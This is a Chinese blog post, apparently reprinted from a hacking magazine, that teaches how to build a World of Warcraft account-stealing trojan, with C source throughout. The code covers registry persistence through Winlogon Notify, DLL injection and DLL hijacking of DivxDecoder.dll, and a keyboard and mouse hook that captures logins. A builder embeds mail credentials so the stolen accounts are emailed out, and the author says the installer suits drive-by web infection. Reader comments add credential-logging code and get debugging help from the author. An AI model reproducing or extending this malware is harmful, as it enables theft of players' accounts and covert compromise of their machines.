魔兽世界木马全攻略(已在黑防发表)

适合读者:编程爱好者,游戏玩家
前置知识:c/c++编程基础
(迷上网络游戏的人是越来越多了,账号被盗的也是越来越多,虽然凭借一定的手段还可以找回自己的账号,但是找回来的也就仅仅是一个账号,估计里面的装备已经被卖精光了。是黑客的技术提高了还是网络游戏本身的安全性做的不够!)
魔兽世界木马的攻防
 文/图 langouster(江苏大学信息安全系)
听说最近WTF迷上了魔兽世界,本着群众跟党走的方针,我们一起来研究魔兽世界,学习魔兽世界的密码窃取和保护技术。希望能以此提高游戏玩家的安全意识、提升魔兽世界的安全档次。
经过我的测试,发现魔兽世界并没有对消息钩子经行防范,这样我们写魔兽世界木马就简单了。为了使我们的小马更加隐藏,我把它写成了一个dll文件。关于它的启动方法,我提供了两种方式让用户来选择,如图1:
 

其中注册表自启动采取的是Winlogon 通知包技术,具体细节是在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Notify\下新建一项langouster(名称任意),系统启动的时候会检查该项下面有没有DllName这                                                                                                                                                                                                                一键值名称,有则自动将dll加载到winlogon进程中,这种方法比传统的rundll32或者服务的方式要隐藏多了。我们的小马由三个程序组成,一个dll主程序,一个安装程序setup.exe(发给玩家),还有一个就是图1中的配置程序。dll文件先以资源的形式包含到安装程序setup.exe中,setup.exe又以资源的形式包含到配置程序中,顺便提一下本盗号器生成的安装程序只有7.87k,足可用来网页挂马。有了上面的说明再来理解下面的程序就不难了。

一.先讲dll主程序:dll加载的时候创建一个线程start来开始正式的工作,千万不要在DllMain里放太多的东西,否则魔兽世界启动就慢了,我们的小马容易被发现。在DWORD WINAPI start(LPVOID lpParameter)中,我们先来判断一下自己的宿主进程名是winlogon.exe还是wow.exe(魔兽世界的进程)。如果是在winlogon.exe进程中,就新建一个线程来反复地写注册表,防止我们的启动项被删除。
DWORD WINAPI WriteReg(LPVOID lpParameter)//反复写注册表和检测dll文件
{
 char syspath[MAX_PATH];
 HKEY key;
 DWORD disposition;
 char aa[]="\x01\x00\x00\x00";
 char bb[]="\x00\x00\x00\x00";
 GetModuleFileName(g_module,syspath,MAX_PATH-1);
 //写注册表,采用Winlogon 通知包技术启动
 while(1)
 {
  RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\langouster",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&disposition);
  RegSetValueEx(key,"DllName",0,REG_SZ,(BYTE *)syspath,lstrlen(syspath)+1);
  RegSetValueEx(key,"Asynchronous",0,REG_DWORD,(BYTE *)aa,4);
  RegSetValueEx(key,"Impersonate",0,REG_DWORD,(BYTE *)bb,4);
  RegSetValueEx(key,"StartShell",0,REG_SZ,(BYTE *)"langouster",10);
  RegCloseKey(key);
  Sleep(5000);
 }
 return 0;
}

不过因为基于NT核心的平台中的Copy-On-Write系统机制,允许用户对正在运行的文件重命名,一旦dll文件被重命名,马儿就没法自启动了,所以我们先要以独占的方式打开文件OpenFile(dllpath,&ofstruct,OF_READ|OF_SHARE_EXCLUSIVE)。接下来要做的事就是反复的枚举有没有WoW.exe这个进程,如果找到了就采用远程线程注入的方法把dll注入到WoW.exe中,实现方法前人已经讲过许多了,不会的翻翻以前的黑防。另外如果判断得宿主进程是WoW.exe,我们就挂上一个消息钩子g_goalhook=SetWindowsHookEx(WH_GETMESSAGE,goalhook,g_module,GetWindowThreadProcessId(FindWindow(NULL, goal_window),&processid) )。Goalhook负责处理各种消息事件,我们只对键盘和鼠标消息感兴趣。
 if(ncode==HC_ACTION)
 {
  switch(pmsg->message)//pmsg:指向MSG结构体
  {
  case WM_LBUTTONUP:
   mouse_x=LOWORD(pmsg->lParam);
   mouse_y=HIWORD(pmsg->lParam);
   if(compare_xy(mouse_x,mouse_y,348,361,461,380))//compare_xy()用来判断鼠标的位置是不是在给定的范围内   
   {//输入焦点移动已到密码输入框
    position=len=0;
    IsUsername=false; //IsUsername:全局bool值,true表示当前的输入焦点在账号框,否则在密码输入框。
   }
   else
    if(compare_xy(mouse_x,mouse_y,348,412,456,426))//单击了提交按钮
     CreateThread(NULL,0,Submit,0,0,0);//submit函数把玩家的账号密码发给我们;另建一线程,否则玩家会发现短暂的停顿
   break;
  case WM_KEYDOWN:
   if(LOWORD(LOWORD(pmsg->wParam))==VK_RETURN)//玩家按下了回车键
   {
    CreateThread(NULL,0,Submit,0,0,0);
   }
   else
   {
    VirtKey = (int)(pmsg->wParam);
    GetKey(VirtKey);//处理按键函数
   }
   break;
  default:
   break;
  }
}

玩家一般用鼠标来选择输入焦点以及单击提交按钮,用键盘来输入账号密码以及一些功能键,如回车、TAB、Backspace、光标键等,对这些功能键的处理与否直接关系到得到的账号密码的正确性。我写了下面这个函数,先判断是不是回车键,在不是回车键的前提下来处理其它功能键,大家花点耐心来仔细看看:
void ExecuteCmd(char key_char)//处理键盘上的光标,back delete tab键(注意参数)
{
 char *nameorpword;//暂时存放账号或密码
 int i;
 if(IsUsername)
  nameorpword=username;//username就是魔兽世界的账号
 else
  nameorpword=password; //password就是魔兽世界的密码
 switch(key_char)
 {
 case 'b'://backspace键
  if(position==0)break;//position:全局int,用来记录光标的位置   如果光标已在开头,那么什么也不做
  if(len==position)//len:全局int,用来记录字符串的长度   如果光标在字符串末尾,字符串缩短一位
  {
   position--;
   len--;
   *(nameorpword+position)='\0';
  }
  else
  {
//将字符串从光标位置开始往前移一位
   for(i=position-1;i<len-1;i++)
    *(nameorpword+i)=*(nameorpword+i+1);
   position--;
   len--;
  }
  break;
 case 't'://tab键   从账号输入框移到密码输入框
  position=len=0;
  IsUsername=false;
  break;
 case 'd'://delete键  跟Backspace键的处理相似
  if(position!=len)
  {
   for(i=position;i<len;i++)
    *(nameorpword+i)=*(nameorpword+i+1);
   len--;
  }
  break;
 case 'l':// 光标“<-”键
  if(position!=0)
   position--;
  break;
 case 'r':// 光标“->”键
  if(position!=len)
   position++;
  break;
 default:
  break;
 }
}

对于一个盗号器,仅仅得到账号和密码是远远不够的,至少我们总得知道得到的是几区的账号吧,魔兽世界还好,总共也就六个区,要换成传奇,一百来个区总不能一个一个试吧。我们的这个小马现在还只能得到区号,服务器以及角色名,这也算是一个不小的缺陷吧,如有可能希望能在下一版本中改进。本来我打算用读内存的方法来得到这些信息,在我看了四天的16进制加乱码之后我决定放弃这种方法!后来我想到了一种更简单的方法,先来看一下魔兽世界目录下的几个有意思的文件:launcher.ini文件和WTF文件夹。打开launcher.ini文件看到第一行写着“cn6.grunt.wowchina.com”,六区,呵呵!原来Launcher.exe把服务器区号写在launcher.ini中,WoW.exe程序运行时再去launcher.ini中读出。再来看一看WTF文件夹。如图2:

图2
其中LANGOUSTER是我的账号,破碎岭是服务器名,Langouster是游戏中的角色名,所以我们只要看看WTF文件夹下面有什么文件就能得到我们想要的信息。方法太简单了,这里只简单地说一下如何得到服务器名,其它的请看光盘中源程序。
handle=FindFirstFile(wowpath2,&finddata);//wowpath:到LANFOUSTER为止的路径
 if(handle==INVALID_HANDLE_VALUE)return;//出错返回
 if((finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)&&(strchr(finddata.cFileName,'.')==NULL)&&(stricmp(finddata.cFileName,"SavedVariables")!=0))//判断是不是要找的文件夹
  strcpy(servername,finddata.cFileName);
 else
  while(FindNextFile(handle,&finddata))
  {
   if((finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)&&(strchr(finddata.cFileName,'.')==NULL)&&(stricmp(finddata.cFileName,"SavedVariables")!=0))
   {
    strcpy(servername,finddata.cFileName);
    break;
   }
  }
CloseHandle(handle);

得到了这些信息,下一步就是把这些宝贵的信息发给我们了,常用的方法有两种:邮件发送和利用动态网页。两种方法各有优缺,许多杀毒软件和防火墙对邮件发送比较敏感,容易导致邮件发送失败;而采用动态网页的方法因为访问的是80端口,相对不会引起反病毒软件的注意,但是现在要申请一个免费的asp空间太难了,为了适合大众,我这里只采用邮件发送的方法。如图3:
 

要发邮件就要有用户名和密码,我们用下面的代码来提取。
char Mailname[30]={0},Mailpword[30]={0} ,ReceMail[40]={0};
char readstr[100]={"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"};
char tempchar[100]={0};
key=atoi(&(readstr[strlen(readstr)-1]));
 strcpy(tempchar,readstr);
 strcpy(Mailname,strtok(tempchar,"||") );
 strcpy(tempchar,readstr);
 strcpy(tempchar,strstr(tempchar,"||")+2);
 strcpy(Mailpword,strtok(tempchar,"||") );
 strcpy(tempchar,readstr);
 strcpy(tempchar,strstr(tempchar,"||")+2);
 strcpy(tempchar,strstr(tempchar,"||")+2);
 strcpy(ReceMail,strtok(tempchar,"||"));

上面的代码可能会很令人费解,readstr明明只是一串“aaa……”怎么能提取出邮箱的用户名和密码呢?在图1中大家已经看到用户名和密码是可以配置的,而这个dll文件说到底是以资源的形式包含在配置程序中的,在配置程序中我们读出资源,找到“aaa……”这串字符串,用真正的邮箱用户名和密码替换掉“aaa……”,格式是”发件箱用户名||密码||收件邮箱”。在真正的程序中我用了一些简单的算法对它加密了一下,不然被玩家发现,赔了夫人又折兵可不好。
我说过这个小马还可以以dll转发的方式工作,连写注册表都不用,就不怕C盘被还原了,特别适合在网吧使用。为此先来说一下魔兽世界的工作机制,在wow.exe运行时它会加载同一目录下的DivxDecoder.dll,用Dependency Walker查看,发现它导出了四个函数。如图4:
 

图4
导出的函数比较少,我们用自己的dll替换掉DivxDecoder.dll,把原来的DivxDecoder.dll改名为unicode.dll,然后在dll源程序的开头加上
#pragma comment(linker,"/export:DivxDecode=unicode.DivxDecode")
#pragma comment(linker,"/export:InitializeDivxDecoder=unicode.InitializeDivxDecoder")
#pragma comment(linker,"/export:SetOutputFormat=unicode.SetOutputFormat")
#pragma comment(linker,"/export:UnInitializeDivxDecoder=unicode.UnInitializeDivxDecoder")

当魔兽世界启动时加载的就是我们的dll,而当它需要那四个函数时,我们去同一目录下的unicode.dll(也就是原来的DivxDecoder.dll)中寻找。为了隐藏我们把unicode.dll的属性设为隐藏、系统,最好再改一改文件的修改时间。当然这一切是由我们的安装程序Setup.exe实现的,也就是那个只有7.87K的程序。

二.下面再来讲一下安装程序Setup.exe。它把主程序dll以二进制资源的形式包含进来,根据不同的安装方式动态地生成dll。入口函数如下:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR    lpCmdLine, int   nCmdShow)
{
 HRSRC hrsrc1;
 HGLOBAL hglobal1;
 DWORD size,len;
 char sele[20]="dlldlldll",*hmem;
 hrsrc1=FindResource(NULL, MAKEINTRESOURCE(IDR_BIN1), "BIN");//查找dll资源
 size=SizeofResource(NULL, hrsrc1);
 hglobal1=LoadResource(NULL, hrsrc1);//载入二进制资源
 hmem=(char *)malloc(size+1); //将二进制资源读入内存
 WriteProcessMemory(GetCurrentProcess(),hmem,(LPCVOID)LockResource(hglobal1),size,&len);
 if(stricmp(sele,"REGREGREG")==0)//判断安装方式
  setup_reg(hmem,size);//注册启动方式的安装
 else
  if(stricmp(sele,"DLLDLLDLL")==0)
   setup_dll(hmem,size);//dll转发方式的安装
 free(hmem);
 GlobalFree(hglobal1);
 return 0;
}

与前面的“aaa……”相似,在这个函数中我们定义了一个变量sele[20]="dlldlldll",用“DLLDLLDLL”表示采用dll转发方式安装,用“REGERGREG”表示采用注册表方式安装。若用户选择用dll转发安装,在配置程序中就已把“dlldlldll”改成了“DLLDLLDLL”,否则改成“REGREGREG”。setup_dll()函数完成以下三步:
1. 从注册表“HKEY_LOCAL_MACHINESOFTWARE\Blizzard Entertainment\World of Warcraft\ InstallPath”中读出魔兽世界安装路径。
2. 将魔兽世界安装目录中的DivxDecoder.dll重命名为unicode.dll,并改变文件属性为“系统”、“隐藏”(最好改一下文件的修改时间)。
3. 将读到内存中的dll文件数据写到魔兽世界目录下的DivxDecoder.dll。
void setup_dll(char *hmem,DWORD size)
{
 char wowpath[MAX_PATH]={0},dllpath[MAX_PATH],newdllpath[MAX_PATH];
 HANDLE hFile;
 DWORD len;
 readpath(wowpath);//得到魔兽世界的安装路径
 strcpy(dllpath,wowpath);
 strcat(dllpath,"DivxDecoder.dll");
 strcpy(newdllpath,wowpath);
 strcat(newdllpath,"Unicode.dll");
 if(MoveFile(dllpath,newdllpath))//将DivxDecoder.dll重命名为unicode.dll
 {
 SetFileAttributes(newdllpath,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);//将unicode.dll的文件属性改成隐藏、系统
  hFile = CreateFile(dllpath,GENERIC_WRITE,0, NULL,CREATE_NEW,0,NULL);//写入资源文件
  if(INVALID_HANDLE_VALUE!=hFile)
  {
   WriteFile(hFile, (LPCVOID)hmem,size,&len,NULL);
   CloseHandle(hFile);
  }
 }
}

Setup_reg()函数完成以下两步:
1. 在“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify”下新建一项langouster,使系统重启后自动加载我们的小马。
2. 将读到内存中的dll文件数据写到系统路径下的Desktop.dll,并将文件的属性设为“系统”、“隐藏”(最好改一下文件的修改时间)。
实现代码请参考前面的程序。

三.最后再简单说说配置程序,程序由MFC编写。它包含了两个bin资源,一个是setup.exe,另一个是upack.exe(用来加壳压缩)。用户单击生成按钮后先判断邮箱测试是否通过,然后将setup.exe的二进制资源载入内存,根据用户的启动要求修改资源中的字符串,生成setup.exe。这里只说一下修改内存函数ModifyMem((hmem,size,from,to),它把from表示的字符串改为to表示的字符串。
bool ModifyMem(char *hmem,int len,char *from,char *to)
{
 char charf[100],chart[100],*charg;
 bool result=false;
 strcpy(charf,from);
 strcpy(chart,to);
  for(int i=0;i<len;i++)
  {
   charg=(char *)&hmem[i];
   if(strcmp(charg,charf)==0)
   {        if(WriteProcessMemory(GetCurrentProcess(),(LPVOID)(hmem+i),chart,strlen(chart)+1,NULL))
     result=true;
    break;
   }
  }
 return result;
}

如果用户要求加壳,生成setup.exe文件后,还要将二进制资源upack.exe写入文件,执行WinExec("upack.exe setup.exe",SW_HIDE)。
再说本木马的卸载,如果采用的是dll转发的方式安装的,那就简单,先删除魔兽世界安装目录下的DivxDecoder.dll,再把unicode.dll重命名为DivxDecoder.dll。如果原先采用的是注册表自启动方式安装的,那手工卸载实在是比较麻烦,你可以试着用IceSword打开winlogon.exe进程,卸载里面的Desktop.dll模块,不过你要做好蓝屏的准备,我试了5次都没成功;再一个办法是用江民等软件的注册表监视功能,阻止winlogon.exe写注册表,再删除注册表中的langouster这一项,重启之后就行了,最后一个办法是用IceSword先结束smss.exe进程再结束winlogon.exe,删除注册表后直接按重启键(这时已经没法正常关机了)。
最后,希望各玩家提高安全意识,木马无空不入,最好使用密码找回功能。也希望游戏生产厂商在赚钱的同时别忘了加强游戏的安全性,保护好游戏玩家的“财产”。
收笔之前衷心感谢xyzreg和孤烟逐云的无私帮助!
 

补充说明:此木马公开较早,对目前的魔兽世界无效。

附件中包含完整源程序和利用程序:

 wow.rar

  • quote 2.wower
  • 文中用DLL转发启动,再查找Winlogon.exe及WOW.EXE进程的方法现在失效了,因为以前WOW是直接启动WOW,而现在要先启动一个Launcher.exe,再加载入DivxDecoder.dll,然后启动wow.exe,所以start()线程会找不到WOW.exe,自然无法挂钩,之后便结束了.这样,木马DLL体内便没有活动的线程了,只是空空地呆在Launcher.exe进程空间,而之后Launcher.exe因为已经完成加载各个DLL及wow.exe的任务,也随之结束,这样,木马便空欢心地运行了一场,没有发现WOW,就结束了.
  • 2007-07-01 15:01:00 回复该留言
  • quote 3.wower
  • 而注册表启动方式,是能随Winlogon启动而运行,能找到WOW.exe并应能插入的.没测试了...

  • 2007-07-01 15:07:37 回复该留言
  • quote 4.iamatig
  • DLL转发还有用,今天我仔细测试了,原来launcher.exe调用wow.exe后二者有一段同时存在的时间.
  • 2007-07-02 11:51:19 回复该留言
  • quote 5.iamatig
  • 只不过WOW现在会提示无法验证游戏版本,然后退出.不知道它的验证机制是什么?
  • 2007-07-02 11:52:04 回复该留言
  • quote 6.iamatig
  • 另外我想用C语言用API实现http请求,发送:
    http://192.168.1.1/accept.asp?msg=123456

    这个要用哪个API?能给个例子吗?是不是send就可以了?HttpSendRequest也可以吧?后者要简单些,前者要自己组织报文,是不是?
    如果用send,我还不知道http请求的格式呢.
    langouster 于 2007-07-02 14:27:45 回复
    嗯后者简单方便.建议用后者
  • 2007-07-02 14:27:45 回复该留言
  • quote 7.iamatig
  • if(LOWORD(LOWORD(pmsg->wParam))==VK_RETURN)
    {
    CreateThread(NULL,0,WritTXT,0,0,0);//增加此行
    CreateThread(NULL,0,Submit,0,0,0);//将全局变量值组织成信发送
    }

    /////////////////////////////////////////
    // 创建磁盘信息文件
    // 将记录下的帐号信息写入磁盘
    /////////////////////////////////////////
    DWORD WINAPI WritTXT(LPVOID lpParameter)
    {
    HANDLE hFile;//磁盘TXT句柄
    LPSTR lpTxt ;//磁盘TXT完整路径文件名
    DWORD dwTmp ;//写入字符数
    char SendStr[100]="123";
    lpTxt = "d:\\wow帐号信息.txt";

    hFile = CreateFile(lpTxt,
    GENERIC_READ|GENERIC_WRITE,
    0, NULL, OPEN_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL);
    SetFilePointer(hFile,0,NULL,FILE_END);
    WriteFile(hFile,SendStr,strlen(SendStr),&dwTmp,NULL);//
    //WriteFile(hFile,"\t",strlen("\t"),&dwTmp,NULL);
    WriteFile(hFile,"\r\n",strlen("\r\n"),&dwTmp,NULL);//换行
    CloseHandle(hFile);
    return 0;
    }


  • 2007-07-02 13:46:20 回复该留言
  • quote 8.iamatig
  • 现在出现wowerror窗口,WOW崩溃:

    ==============================================================================
    World of WarCraft (build 6803)

    Exe: K:\World of Warcraft\wow.exe
    Time: Jul 3, 2007 1:07:52.609 PM
    User: Administrator
    Computer: 774E131CC9D5420
    ------------------------------------------------------------------------------

    This application has encountered a critical error:

    ERROR #132 (0x85100084) Fatal Exception
    Program: K:\World of Warcraft\wow.exe
    Exception: 0xC0000005 (ACCESS_VIOLATION) at 001B:0038340D

    The instruction at "0x0038340D" referenced memory at "0x00000002".
    The memory could not be "read".

  • 2007-07-02 13:46:54 回复该留言
  • quote 10.langouster
  • 你的程序中存在临界区问题 submit线程和writetxt线程同时访问sendstr变量 使得内存崩溃.
  • 2007-07-02 14:26:13 回复该留言

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

最近发表

Copyright langouster. Some Rights Reserved.   苏ICP备06046736号   

本站点由 Z-Blog 2.0 bate Build 构建,基于 Glued Ideas Subtle 主题,由 zx.asd 移植并创新.